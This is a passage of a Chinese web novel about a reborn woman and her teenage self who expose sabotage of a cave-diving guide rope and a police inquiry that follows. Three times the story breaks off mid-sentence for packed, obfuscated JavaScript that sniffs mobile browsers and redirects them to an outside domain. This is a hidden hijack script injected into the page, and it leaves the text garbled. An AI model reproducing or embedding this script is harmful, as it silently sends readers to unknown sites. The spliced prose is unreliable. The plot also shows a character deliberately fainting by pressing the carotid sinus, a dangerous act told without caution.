吕瀚博和大温前后脚回屋,大温经过大黄狗跟前时,特意停下来等吕瀚博离开,观察大黄狗的反应。果然,吕瀚博一走,大黄狗就开始对着她叫。 而在大黄狗“汪”第一声时,大温便火速回屋关门,一点没耽搁。门一关,大黄狗就像是被封口了般,不叫了。 怎么就针对她啊! 大温有些郁闷,借着手机屏幕微弱的光走回卧室,好在屋里的三人都没有被吵醒,她轻手轻脚摸回床上时已经将近十一点。 待会……要把这件事告诉小温吧……睡着前大温心想。 …… 逆转空间里,小温搬了张板凳坐在贝壳屋门前,这次的海洋世界升级了,范围更大鱼类也更丰富,甚至海水鱼和淡水鱼都有。 大温心不在焉地揪了根海草,缠在手指上,她踏过几个蚌,走到了贝壳屋门前。 小温早就看见大温了,她看了眼墙上的挂钟,有些奇怪地问:“今天怎么睡那么晚?” “唉。”大温叹气,手一拉,缠在手指上的海草松开了,她甩了甩,把海草围在脖子上当围巾,“我之前可能想错了,花奶奶的事不是意外,是谋杀。” “你说什么——”小温噌的一下站起来,双手抓住大温的肩膀,语气激动,“谋杀?谁?” 大温和小温解释了自己方才想到的事,一只虎鲸幼崽路过贝壳屋,对着屋里的大温小温翻了个跟头。 可惜两个人类的注意力并不在它身上,它看了屋内面色凝重的两脚兽一会,发现没人理它,甩甩尾巴悠悠然游走了。 小温听罢,撸了一把并不存在的袖子,像个混混头子般说:“我看我还是找个机会把那小孩套起来打一顿好了。” 大温提醒道:“小温同学,现在是法治社会。” 小温撇嘴,像一个漏气的气球一样瘪了下去。 小温泄气时,大温抬起右手,两指按在太阳穴上,再次呼叫系统,这次很意外地有回应。 【系统】:您好,宿主,重生系统故障,正在维修,暂时无法响应。 大温:“……” 你无响应吭什么声?拳头硬了。 小温疑惑地看着大温,看她攥紧拳头,过了会儿又松开。看她在屋子里转了几圈,最后搬了张板凳和小温一起坐在门口看海。 小温忍不住多看了几眼大温的脖子,她上还挂着那根长溜溜的海草,摸样有点滑稽。 “我已经告诉秦女士,让她帮忙安监控了,现在我们在外地,帮不上忙。”大温脖子上挂着海草,神色严肃,“我们现在能做的,只有调整好心态,顺利解决事件二。” “道理我都懂,但能不能把你脖子上那玩意扯下来,我很在意。”小温忍不住道。 “哦。”大温终于把脖子上的海草扯下来了。 贝壳屋的整体就是一个巨大的空心河蚌,门就是河蚌张开的嘴,内部空间很大,大约七八十平。 海水不会进入贝壳屋内部,河蚌的开口处像是有无形的屏障,隔绝了海水。 远处有鲸鱼的鸣叫声,成群结队的沙丁鱼游过贝壳屋的门口,大温很难得地感觉到了治愈。 其实,大温还挺感激系统故障的,因为故障,她没有像一般的重生者一样,直接占据过去的自己的身体。 她见到了十五岁的自己,见到了小温,她和小温成为了世界上独一无二的朋友。 也因为故障,系统替大温激活了逆转空间的权限,她可以见到所有她想看见的风景,可以得到现实中她无法得到的东西。 要是能和小温一起,一直躲在这个空间里就好了。 不用面对那些潜在的危险,不用担心身边随时可能有人死亡。 就这样静静看天,看海,看这童话一般的美好世界。 …… 当然,一直躲在逆转空间里是不可能的。 第二日的科考平静度过,很快,第三日来了。 经过两日的相处,小温已经和科考队队员混熟了,其中混得最熟的应该是卢旗旗。 小温和卢旗旗亲近,一半是为了后续的行动。 按照计划,第三日清晨小温在起床后需要再睡个回笼觉,把大温换出来,由最熟悉引导绳的大温去检查。 和卢旗旗搞好关系显然有利于她们的计划,但小温也不是能和不喜欢的人待在一起的性子。 她和卢旗旗亲近,另一半是因为她感觉得到,卢旗旗本质上是个很温柔的人,她很喜欢和卢旗旗待在一起。 计划顺利进行,第三日的清晨,大温睁开眼。她原本还在担心小温会睡不着,还好小温睡眠质量一向很好,想睡就睡,想醒就醒,跟身体里有开关一样。 大温走出大门,看着久违的熹微晨光,心里有一种夜行动物见到光的奇妙感觉。 啊,太阳,你为什么那么亮。啊,麻雀,你为什么两条腿。 经过大黄狗跟前时,大温特意前停了会,不出所料地收获了一连串犬吠。 村长从大温身后冒出来,走上前敲敲狗头:“还叫!还叫!几天了还没认得人!” 大黄狗嗷呜一声,不叫了,大温看有人撑腰,趾高气昂地走了,走几步回头看一眼趴在地上的大黄狗。 “让你叫!让你叫!”大温对着大黄狗小小声说道。 科考队一行人照例上山,今天要下水,每个人身上扛的东西都变多了。 大温背着氧气罐吭哧吭哧爬山,总觉得计划出错了,应该让小温背上山后再换她出来。小温总有使不完的牛劲,她甚至还会在逆转空间里举哑铃,精神头十足。 到达熟悉的溶洞口后,大温像是看到了光,她放下两手提的设备,卸下氧气罐,霎时间浑身都轻松了。 老温笑嘻嘻地凑过来:“哟,今天累了?” 大温喘着粗气嘴硬:“不、累!” 虽然用的是同一具身体,小温的体力明显比大温好一些。 前世最后几年大温活得混乱,长年在外东奔西走,张贴寻人启事寻找秦女士的下落。 有时候夜里有人恶搞,给好不容易睡着的大温打电话,说看见秦女士了。 大温没办法,就算是恶搞也会去看看,万一是真的呢? 长期睡不好加上饮食不规律,大温的身体越来越差,好在她从小习武,本身底子好,最后糟践了那几年也只是把她的身体健康拉到大学生水平。 也不知是不是疲惫感已经印在灵魂深处了,大温操控小温的身体时也很容易疲惫,好像用的还是自己的那具身体一样。 等缓过劲来,大温兜里的手机响了,打开一看果然是何景澄的消息。 自从加上好友后,他们每天都会闲聊,当然,平时都是小温和他聊,大温毕竟和他们有代沟。 何景澄发了张照片,看起来是手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364356|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍的,照片里和他头像一样的水鸟站在湖边,嘴里叼着一条罗非鱼,表情像在沉思。 【何景澄】:拍到了正在进食的夜鹭。星星眼.JPG 这条消息后还跟着一张照片,一只蓝背水鸟站在水边,嘴里叼着一条比它脑袋还大许多的罗非鱼,目光深沉,也不知道在沉思些什么。 夜鹭被称为鸟中哈士奇不是没有道理的,这种鸟类不需要干什么,光是站在那里就会让人觉得好笑。 大温盯着夜鹭的眼睛咯咯笑了老半天,笑到一半突然瞥见这条新消息之前的一条消息。 【何景澄】:你……听说过我? 大温笑容一僵,她和小温完全忘记回复这条消息了。 不过何景澄貌似也没有深究,也是,正常人肯定不会往重生这方面想,顶多是有点奇怪。 虽然何景澄没有深究,但大温还是要解释一下,以免有什么误会。她仔细思索了会,飞快打字。 【大温】:对了,我之前有事忘了回复,我是在一个公众号的获奖名单上看到你的名字的,具体是哪我忘记了,我也是后来才想起来的。 对面的何景澄没有立刻回复,大温等了会,大约半分钟后,终于有了新消息。 【何景澄】:能被你记住,我很荣幸。 【大温】:你那么显眼,想忘也忘不掉啊。 大温忍不住吐槽。 对面的何景澄又沉默了,可能有事要忙,大温收回手机。 她一会儿闲逛,一会儿凑过去看科考队的成员摆弄那些设备,晃悠晃悠等到准备铺设引导绳的时候,瞅准了时机凑到卢旗旗身边。 “旗旗姐旗旗姐,”大温指着地上的引导绳,悄悄对卢旗旗说,“我想试试帮你检查这个绳子。” 卢旗旗欣然一笑:“好啊,你检查完了叫我一下,我来看看你检查得如何。” 卢旗旗说完,把手里的绳子递给大温,大温又从卢旗旗手里接过了这根绳子,心中五味杂陈。 她攥紧绳子,这一次她不会再让这根绳子夺走老温的性命了。 大温依照自己的记忆,很快便找到了前世绳索断裂的地方。她仔仔细细摸了一遍,愣了一下,又摸了一遍。 没有? 没有任何磨损或断裂痕迹。 大温不信邪,又摸了一遍,结果还是没有。 为什么? 大温记得很清楚,绳子是在哪里断开的,可她现在在那一块地方看不见一点可能断开的痕迹。 卢旗旗检查完其他设备,扬声询问:“温流照,你检查完了吗?” 大温急了,她的背后在冒汗,卢旗旗已经走过来了。 “还没好吗?交给我就行。” 大温低头抿唇,随后抬起头,露出一个十五岁少女应有的表情,她用有些天真的语气询问:“旗旗姐,我完全找不到有哪里有问题诶。” 卢旗旗接过绳索,语气柔和:“没有问题才好呀。” 卢旗旗一段一段地检查,先是检查外观,查看有没有磨损,再检查绳结和连接处,进行浮力测试,她一边检查一边和大温解释这是在检查什么,像一个教授孩子课外知识的老师。 “像这样快速摸一遍,”卢旗旗带着手套的手快速捋过绳索,“如果有硬结或毛躁就是不合格的。” 大温听得有些心不在焉,她一直在摸那块记忆中将会断裂的地方,因为担心是自己记错了,还在相邻位置摸了一遍。 没有。 不可能没有,不然老温是怎么死的? 难道…… 大温放下绳索,语气平静地问:“旗旗姐,有没有可能,有人使用某种手法破坏了绳索,这种破坏很隐蔽,甚至避开了检查?” 12. 少女的勇气 卢旗旗有一瞬间的怔愣,她很意外在一个孩子口中听到这样的问题,但她没有敷衍对待,而是认真思考。 “有这种可能。”卢旗旗摸着下巴思索,“不过嘛,这种事情很少很少的。” “我有点好奇,都有哪些隐蔽的手法?” “比较常见的大概是药物腐蚀吧,外表看不出来,不过需要的时间比较久,还有就是针刺。” “针刺?” “嗯,这是一种很麻烦的手法,操作难度很高,但是需要的时间比药物腐蚀短。如果下手的人手法足够厉害,确实有可能避开检查。” 大温像一个孩子一样发问:“那该怎么发现啊?” “不管是哪种手法,总会留下点痕迹,只是明不明显的问题。” 卢旗旗说着,抓起引导绳需要入水的那部分,想要给大温做个示范。 大温不由自主抿紧唇,有些紧张,卢旗旗抓的那一段在断裂处的上端约二十厘米。 “因为破坏点都很小,手摸可能摸不出来,所以可以借助一些简单的工具,比如找个直径五厘米的圆柱体,将绳索绕在上边,被细针破坏的部分会有异常僵硬。” 卢旗旗把绳索绕到小臂上:“现在没有合适的东西绕,可以绕在手上简单检查一下。” 大约绕了有三十厘米,卢旗旗把绕着绳索的小臂举起,示意大温注意看。 “正常的引导绳大概就是这样,可以贴着小臂……”卢旗旗说着在手腕上绕了最后一圈,突然,她愣住了。 卢旗旗的拇指和食指还捏着一段绳索,她将绳索往下按了按,又抬起,大温在她的脸上看到了不可置信的表情。 大温的心脏跳得很快,她按捺住翻涌的情绪,尽量用贴合一个十五岁少女的语气问道:“怎么了?” “我……我有点不太确定……” 卢旗旗又仔细感受了一下那段绳索,虽然只有很微弱的一点点,但是在绕上手腕时,她确实感觉到了异样。 有一个地方有些僵硬,在正常摸过时感觉不出,只有在弯曲时才会感觉到。 卢旗旗神色紧张地环顾四周,她的同事们都在各自忙碌,一切看起来正常且井然有序。 卢旗旗正色道:“温流照,看好引导绳,不要让任何人再接触,我去拿些东西。” 说完,卢旗旗起身走向装着很多小型设备的背包,大温垂眸看着那根长长的引导绳,直到现在仍有种不真实的感觉。 大温想到这些天和科考队成员们的相处,寒意攀上脊背。 这些看似正常的人中,很可能藏着一个杀人犯,ta想杀了老温。 这个人的手法很隐蔽,心理素质极强,以至于大温前世没有发现这个人的存在。 大温攥紧拳头,指甲深深潜入掌心。卢旗旗很快拿来了一个强光手电筒,她打开手电筒仔细查看,大约半分钟的时间,她放下手电筒。 大温低声问:“旗旗姐,是有人要害老温吗?” 卢旗旗看了眼面前的少女,少女的脸上是复杂的神色,她沉重地点头。 说实话,卢旗旗不太想让一个孩子知道这么沉重的事,但大温是老温的女儿,她有权知道。 卢旗旗攥紧了手中的引导绳,深吸口气,起身对着人群说道:“大家,今天的水下取样可能要取消了。” 扎着丸子头的年轻女人拿着一捆荧光黄色的绳索,站在树荫下。她的声音很大,没有下溶洞的所有人都听见了,纷纷向她看来。 斑驳的阳光落在卢旗旗的脸上,总是嬉皮笑脸的女人难得露出沉重的表情。 “怎么回事。”吕瀚博放下手中的水体样本,率先打破沉默。 卢旗旗其实很怕吕瀚博,但她还是回答了:“引导绳有人为破坏痕迹,现在初步判断是使用细针破坏了内部结构,凶手很可能就在我们之间。为了保障潜水员的安全,在找到凶手之前,我们不能继续下水。” 吕瀚博淡淡看向站得笔直的女人:“卢旗旗,你知道我们出来科考需要多少经费吗?” “……知道。” “你知道我的时间有宝贵吗?” “……” 卢旗旗说不出话来,她是全队安全的守护者,于情于理她都必须阻止今天的潜水活动,但如果作为领队的吕瀚博坚持要下水,她……阻止不了。 “咋了这是?” 一个有些散漫的声音从溶洞口传来,卢旗旗寻声望去,就见一个穿着防护服的寸头男人站在洞口,一脸奇怪地看着溶洞外的同事们。 作为本次事件的主角,老温终于姗姗来迟,他一出声,大家的目光齐刷刷落在他身上。 老温不解:“你们为什么要用看死人的目光看着我?” 吕瀚博没有看老温,他的神情平静,就像是什么都没发生一样,说:“更换引导绳,继续下水取样,不要耽误时间。” 没有人敢提出异议,老温敏锐地猜到出什么事了,他蹙眉,却也没出声。 吕瀚博不仅是研究水体的专家,还是个官多代,手握多条人脉,很多人都指望着在他面前赔笑脸混个眼熟,好顺利升职加薪。 因此没人敢出声,成年人的一大特点就是学会权衡利弊,对他们来说,站出来说话显然弊大于利。 在吕瀚博下令的同时,小温睁开了眼。 不是大温,是小温。 在所有人注意力都在卢旗旗和吕瀚博身上时,大温用力按压颈动脉窦,强制身体陷入晕厥。此时醒来的小温脑子晕乎乎的,一时说不出话来。 小温的心脏跳得很快,第一次体验到大脑短暂失血又重新恢复供血的感觉,大腿上的肌肉一直在抽搐。 小温有些心悸,按压死穴是非常危险的行为,一个不小心就会出人命,大温真是疯了才会这么干。 不过很快小温就理解了大温为什么要这么冒险,记忆涌入脑中,眩晕感逐渐消失,小温从草地上站起来,她知道现在她有必须要做的事。 在夏日的蝉鸣声中,她踩着落叶枯枝,踩过野花野草,路过低垂着头的卢旗旗,路过屏住呼吸的石广洋,最终停在肃穆的老教授面前。 面对威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364357|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严的老教授,少女的目光没有一丝畏惧,她清亮的眼睛看着眼前的男人。 “请停止下水取样,立刻报案,谋杀未遂也是谋杀,不能忽视。”小温说。 一阵风吹过,头顶高大的树木被风吹动,发出树叶摩擦的沙沙声。 吕瀚博在审视着眼前的少女,少女没有避开他的目光,她无畏而坦荡,好像做了一件再正常不过的小事。 “那个,我作为差点被害死的人说两句哈。”老温一手插兜,一手挠着脑袋,就这样吊儿郎当地走到了吕瀚博面前。 老温默默挡在小温身前,隔绝了吕瀚博审视的目光。 老温:“根据我国刑法的规定,发现凶杀未遂需要立即报警,不然要是让这个丧心病狂的凶手逃跑了,犯下更大的案子,所有知情不报者都将受到处罚。” 老温:“除此之外,明知有杀人犯藏于我们之间,还继续科考活动,你们不怕这个人对自己下手?” 老温说完,回头看自己的同事们,在小温站出来的时候,又有人从溶洞底下爬上来了,现在整个科考队加上小温一共九人全部站在溶洞口前的树林间。 每个人脸上的表情都不同,老温一一看过去,有听了老温的话后开始警惕身边人的,有觉得自己啥也没干肯定不会被杀人犯盯上的,有一惊一乍不知所措的。 当然,也有状况外不知道发生了什么的。 老温看了一圈,转回头,看着吕瀚博。 老温也不想招惹这位老教授,但是天底下哪有让女儿挡在父亲面前的道理。 老温像个拦路打劫的混混,痞笑道:“吕教授,您应该不想变成凶手的帮凶吧? 吕瀚博看着老温,他的表情没有变化,他就这样看着自己下属的眼睛,良久,他终于开口了。 “卢旗旗,报警。” 人群寂静了会,随后爆发出一阵窃窃私语,老温如释重负,回头揽住小温的肩膀。 老温笑着冲小温比了个大拇指:“干得漂亮,温流照同学。” 父女俩正欲走开,身后的吕瀚博突然开口:“温君,你有一个好女儿。” 小温愕然回头,吕瀚博说话时背对着他们,看不见表情。 老温也跟着回头,他同样很惊愕,吕瀚博的声音有些小,像是喃喃自语,又像是羞于启齿。 他们没惊讶多久,人群三三两两地围住小温,他们的眼神里都带着赞许。 “很有胆识啊小姑娘,将来必成大才!” “果然是初生牛犊不怕虎,刚刚那一下给我心都提嗓子眼了。” “诶,小妹妹,你要不去我家好了,我来养你,我家房子老大了。” “丁天春你又在觊觎我女儿!你两个女儿了还不够吗?!”老温怒了。 “哈哈哈,别生气~别生气嘛~其实我家也蛮大的。” “钟鹏涛你凑什么热闹!”老温更怒了。 “不行,我只要老温。”小温从身后揽住老温的脖子,警惕地看着眼前的叔叔阿姨们。 她可没忘记这里边可能有凶手。 13. 暗流 大温独自坐在贝壳屋门前,看着淡蓝色的海水出神。 从系统那里得知切换灵魂的方法后,大温就研究过如何快速打晕自己。 不过,大温也是第一次这么干,她心里忐忑,默默祈祷着自己没把小温弄死或者弄残。 祈祷的同时,大温也在整理现有的线索。 卢旗旗发现异常的那块地方,和大温记忆中的断点有偏差,往下大约十厘米。 大温不觉得自己记错了,两根绳子的断点确实不同,那么这件事就很诡异了。 为什么在大温世界里,卢旗旗会把另一根自然磨损的引导绳交给她? 大温揣着那根绳子几年了,不可能分不出人为破坏和自然磨损的区别,她很确定,她拿到的那根引导绳是自然磨损的。 也就是说,有人中途调换了引导绳。 到底是怎么做到的?会有人神不知鬼不觉地在案发后调换引导绳吗? 是谁调换了引导绳?是卢旗旗吗? 不,这不太可能。 小温世界里,引导绳的异样还是卢旗旗发现的,如果她是凶手,这个举动无异于自掘坟墓。 大温对引导绳的了解没有卢旗旗这个专业人士深,她想隐瞒真的太容易了,但她没有。 还有一个疑点,吕瀚博的态度。 人命关天的事,这位老教授会拎不清权重,选择隐瞒不报吗? 又或者很干脆的,吕瀚博就是凶手,所以他不想报警。 但是他这样跳出来阻止实在太惹眼,太令人怀疑了,反倒降低了他是凶手的可能性。 凶手为了隐蔽自己,一定会尽量低调,降低存在感,出面阻止报警太张扬了,不像是心思如此缜密的凶手会做的事。 大温一手抱胸,一手摸下巴。其实还有一件事让她比较在意,就是第一天的晚上,吕瀚博出门做什么了。 大温也不知道这件事和案子有没有关联,吕瀚博这个人确实有可疑之处,但无法认定他是凶手。 正思索时,兜里的手机响了,逆转空间登陆的账号只有小温一共好友,大温赶忙掏出来看。 【小温】:搞定了,正在去警局。 【大温】:我就知道你能行(点赞.JPG)。 【小温】:不准再用那种方法切换了!难受死我了! 【大温】:我错了(跪.JPG)。 小温气鼓鼓地收起手机,其实她能知道大温为什么要冒险切换,让她出面。 这些日子的相处让她发现,她们虽然是同一人,但由于处在不同时期,人生经历不同,性格也有细微的不同。 小温活泼可爱还有点中二病,有着少女特有的活力,看待事情直头直脑的,看人也是善恶分明,喜欢就是喜欢,讨厌就是讨厌。 大温则更加沉默内敛,有着成年人的暮气,会权衡一件事情的利弊,做事容易瞻前顾后,看人没有明晰的善恶,面对讨厌的人也会虚与委蛇。 在吕瀚博出声的那一刻,大温知道自己无法站出来阻止,成年人总会考虑太多东西,以至于绊住自己的手脚。 勇气是少年人的宝物,大温知道小温能做出正确的选择。 所以她才当机立断,把小温换出来。 知道归知道,该气的还是要气。 大温在逆转空间里的身体是她的自己的,这个神奇空间还原了她死前的样貌,偶然间,小温在大温手腕上看到了淡粉色的疤痕。 “这是什么?”小温抓着大温的手腕,目光灼灼,盯着那些疤痕。 “这个嘛……”大温有些尴尬地偏过头,“哎呀,和人打架被划伤了。” 小温不是傻子,她知道那是什么,但大温不说,她也不会继续逼问,她只是一个人生闷气。 小温气她不爱护自己身体,气她活得像没牵线的风筝。 当然,她最气的,还是造成这一切的凶手。 等找到这个人,她一定要暴揍ta一顿,不,两顿! 要把她和大温的份都打回来,要把这个穷凶极恶之徒送进监狱! 小温关掉手机,就见有人朝她扑来,她下意识以为是凶手狗急跳墙想杀她了,定睛一看才发现是卢旗旗。 “温流照——”卢旗旗冲过来一把抱住小温,她比小温矮一些,抱住小温时下巴搁在小温的肩膀上。 “太好了!”卢旗旗笑得很开心,她成功保护了一个家庭的完整,“警察马上就会过来调查取证,很快就能找到那个凶手了!” 小温看人一向凭直觉,此时她的直觉告诉她,卢旗旗是好人。 “旗旗姐,谢谢你。”小温很认真地道谢。 谢谢你是个好人。 最后找到针刺痕迹的是卢旗旗,如果不是她,大温可能真的找不到。 说起来,大温居然没有怀疑过这不是意外吗? 不过也正常,听大温说,最后警方做了详细地调查,并没有找到他杀痕迹。 普通市民所能相信的只有警方的调查报告,当证据被悉数罗列并指向同一个结果,那么他们就只能相信了。 接连得知身边有两个亲人险些被谋杀,小温的警惕心前所未有的高,看周围人的目光都带着提防,这种提防甚至蔓延到还未出现的警察身上。 小温看了一圈,老温没什么受害人的自觉,正在仰头找知了,阳光穿过茂密的树叶之间,照在他脸上,照得他眯起眼。 老温从来都是这样,没心没肺的好像啥事也不会放在心上,今天结了仇,明天就能称兄道弟。 很难想象会有人恨老温,恨到想杀了他。 小温蹲在地上,心里焦灼,警方赶来还需要一段时间,这段时间不算长,却难熬。 忽的,远处传来细微的警笛声,作为报案人的卢旗旗把三位警察带上山。 为首的一位是三十多岁的男人,身后跟着一男一女两位年轻警官,看起来是刚上任没多久的。 丁文文哭丧着脸跟在师父身后,他才入职没多久,都说县级警局很少凶杀案,最多抢劫斗殴,谁知道才来没多久就遇到了谋杀未遂案。 他旁边是同样入职没多久的许依然,与丁文文不同,许依然一副“嗯,来劲了”的表情,丁文文甚至还看到她撸起了袖子。 倒也不用这么干劲十足吧…… 丁文文站在师父身后,看着师父掏出自己的证件亮了亮。 “沛霖市乐宁县公安局刑侦大队队长,方承平。” 没办法,出警了就得干,丁文文在一旁观察着这九个人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364358|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 八位成年人,一位孩子,高矮胖瘦各个年龄段的都有。 接警时他大概了解了,这是一个科考队,年纪最大的男人是领队,年纪最小的女孩是来拓展课外知识的学生。 丁文文一个一个看过这些人的脸,从最左边起,站着那个最年轻的学生,她身侧是一位和她相貌有几分相似的中年男人。在他看他们父女的时候,女孩也在看着他,眼中带着提防。 丁文文快速把视线移开,总觉得再看那个女孩,她会冲上来问:你看什么看。 这些人的神色各异,没有人露出异常的表情。 非要说的话,只有个年轻男人看起来很紧张。 丁文文还在看那个年轻男人,方承平突然回头对他们说:“你们两个,拉警戒线,注意收集脚印和指纹。” 许依然干劲十足,提着她的小工具箱走了,丁文文也紧随其后,方承平还在询问报案人具体情况,问几句记一下关键点。 整个调查过程费时费力,直到小温下线,大温上线,他们一行人终于来到了乐宁县公安局。 包括大温在内的每个人都被单独询问了一遍,大温被问得早,结束得也早。 她坐在公安局大厅的长椅上,心里很忐忑,不知道警方能不能查到凶手。 其他人陆陆续续出来,老温坐到了大温旁边。 她那总是不着四六的老父亲此时异常正经,摸着她的脑袋宽慰道:“没事的,相信警察,能查明白的。” 最后一个出来的是吕瀚博,他的神情依旧没有变化,一副对除了科研之外的事情毫无兴趣的样子。 几分钟后,方承平从审讯室里走出来,两位徒弟紧随其后,他招招手,示意许依然和众人交代情况。 许依然:“警方的经过初步调查,现场没有发现可疑痕迹,暂时无法确定嫌疑人范围,各位可以先回住所等待后续通知。” 大温叹气,这个结果算是意料之内,凶手既然有这么高超的技巧,把绳索破坏得这么隐蔽,就说明ta是个很谨慎的人,没有那么快能查出来。 只是没想到连嫌疑人范围都没法确定,破案之日遥遥无期啊。 丁文文看着九人各自离开的身影,在脑子里整理目前已知的情报。 针对引导绳的调查显示,这根引导绳和原本计划使用的引导绳不是同一批次,即非同一根引导绳。 凶手是途中调换的绳子,目前调换时间有待进一步取证。 根据吕瀚博的证词,在第一日科考结束的夜晚,他在外出时曾看见过一个奇怪的黑衣人,只是他没在意。 假设吕瀚博说的是实话,再假设那黑衣人就是调换引导绳的凶手,那么调换的时间就是第一日科考结束的夜晚。 接下来应该想办法证实这一点,丁文文挠头,感觉有点难办。 此时城里的监控体系不算完整,乡下更不用说了,基本没有监控。 想调查那个黑衣人只能在村长家附近挨家挨户问,大晚上的,恐怕真没什么目击证人了。 思来想去,只能对存放引导绳的车后备箱进行更详细的调查了。 说起车后备箱…… “师父,”公安局大厅,丁文文叫住方承平,“你之前在后备箱里拿了什么东西?” 14. 谈心(一) 从小学起,丁文文就发现自己的观察力很强。 丁文文很喜欢观察别人的表情和动作,每一次,班级里有人小偷小摸偷了别人东西,他总是能通过一些细微的小表情发现端倪。 一开始丁文文很高兴,做正义的事情会被老师夸奖,会给父母脸上添光。 于是丁文文每次发现有人做坏事都会站出来指认,一次、两次、三次…… 有一次,丁文文发现班级里最孤僻的孩子同学身上有淤青,知道了那个同学在被欺负,和过往的每一次一样,他向老师举报了欺凌同学的人。 丁文文满心以为自己做了件好事,直到被霸凌的同学怨恨地看着他,问:“你为什么要告诉老师?都是因为你,他们以后会更加针对我!” “明明只要忍一下,忍一下就能过去,你为什么要告诉老师!” “都怪你!我被打得更惨了!都怪你!” 丁文文看着愤怒的同学,两手抓着校服裤子两侧的布料,茫然不知所措。 那时他才窥见人心的一角,知道不是所有看似正义的举动都是在帮助受害者,知道有些人并不希望得到这样的拯救,也知道了成长就是学会明哲保身,学会不多管闲事。 那之后,丁文文很少再管类似的事了,他长大了,长成了一个怕麻烦、每天只想躺平当咸鱼的大人。虽然应父母的期许成为了刑警,却没什么干劲,每天都不想出警。 没有干劲的小刑警丁文文今天意外做了件有干劲的事。 他直截了当地问:“师父,你到底是什么人?” 话说出口的瞬间,丁文文好像回到了学生时代,回到了会因为指认作恶之人而高兴的时候。 早在很久之前,丁文文就发现了方承平的异样。三天前,他刚刚把搜集到的举报资料整理完毕。 拿着整理好的资料,他突然就犹豫了。 真的要举报师父吗? 丁文文想起自己老家的父母,一对朴实的农民,知道他考上警校后,奢侈地办了一张酒席。 能够混迹在警局里的叛徒,其背后一定有庞大的关系网。 他真的要揭发这一切吗? 审讯室里,科考队的女学生说起老教授本不愿报警,是她出面要求的。 丁文文听到这,抬起头,对面是坐姿板正的女学生。 四目相对时,丁文文看见了女学生坚定的眼神。 他忽的想起,自己年少时也曾有过这样的眼神。 炽热而坚定,坦率而勇敢。 他最终选择了提交举报材料。 丁文文想,自己可能从小到大都是一个德行,永远学不会明哲保身。 …… 大温和老温并肩走着,调查结果没出,现在他们都没什么事做。 他们路过一个公园,老温瞅见一个卖冰沙的小摊,眼睛一亮,跑去买冰沙了。 大温坐在公园的长椅上等他,久违地打开手机。 先前太多事情了,都没有来得及看消息,此时才发现收到了这么多消息。 大温一条一条看过去,最上边的是秦女士中午发来的。 【秦女士】:监控安好了。 过了两小时,秦女士又发了一条。 【秦女士】:曲宏愿回来了,我把你说的事情和他提了。 曲宏愿就是花奶奶的孙子,计算机系大二学生,性格和曲叔叔更像,话少。 大温和曲宏愿的关系不好不坏,属于是有事会帮忙,没事不会聊天的类型。 【大温】:感谢您,美丽的女士(优雅行礼)。 大温接着看下面一条,是何景澄发来的。 【何景澄】:路上捡到了一只受伤的红隼,送去公安局包扎伤口了。 下边附带了一张长得很像猫头鹰的小鸟照片,小鸟眼睛下有两道黑色的线,呆头呆脑地歪头看镜头,脚上包了白沙布,应该就是伤口了。 【大温】:好可爱啊! 消息刚发过去,何景澄就回复了。 【何景澄】:是猛禽哦,路上遇到最好不要贸然靠近。 【大温】:靠近会怎样? 大温心里乱,没话找话道。 【何景澄】:发生什么事了吗? 时间有一瞬间的停滞,天已经完全黑了。 小公园里很多带着孩子出门兜风的家长,在这样的人来人往的环境里,大温看着聊天框出神。 她想起在她的时空里,有一次她发烧了,瞒着不说,想着小病而已撑一会就好。 结果何景澄一眼看出了端倪,赶紧让徐幼盈带她去校医室了。 好像不管哪个世界的何景澄都很敏锐,明明大温什么也没说,他还是感觉到了异样。 【大温】:我爸爸差点被人杀了。 另一头的何景澄沉默了很久,不知道是在震惊还是害怕。 【何景澄】:你在哪里? 【大温】:公安局附近的一个公园? 大温有点懵,不知道他问这个干什么。 她还握着手机,余光瞥见有人向她走来。 有一瞬间,大温觉得自己被小温影响了,脑中闪过很多偶像剧场景,失落的女主坐在路边淋雨,男主撑着伞走来;受困的女主绝望呼喊,男主英雄救美。 很俗套的情节,少女时期的她还挺喜欢的,现在想想都是黑历史。 有那么一瞬间,大温以为真的会发生这么俗套的情节。 她抬起头,看清了来人。 老温奇怪问道:“温流照同学,你为什么要用失望的眼神看着你的老父亲?” 是老温啊…… 好吧,这很合理。 老温拿着两碗草莓口味的冰沙站在大温面前,大温盯着老温手里的冰沙。 “草莓口味的冰沙吃腻了。” “啊,那你怎么不早说?” “我忘了。” “那我吃两碗?” “吃独食会长胖。” 老温撇嘴,独占两份冰沙的计划泡汤了,他有些不情不愿地把其中一碗冰沙递给大温。 他坐在大温身边,父女俩一人端着一碗冰沙。 酸酸甜甜又冰冰凉凉的口感消去了身上的暑气,大温看着远处小广场上玩滑板的几个小少年,忽地开口。 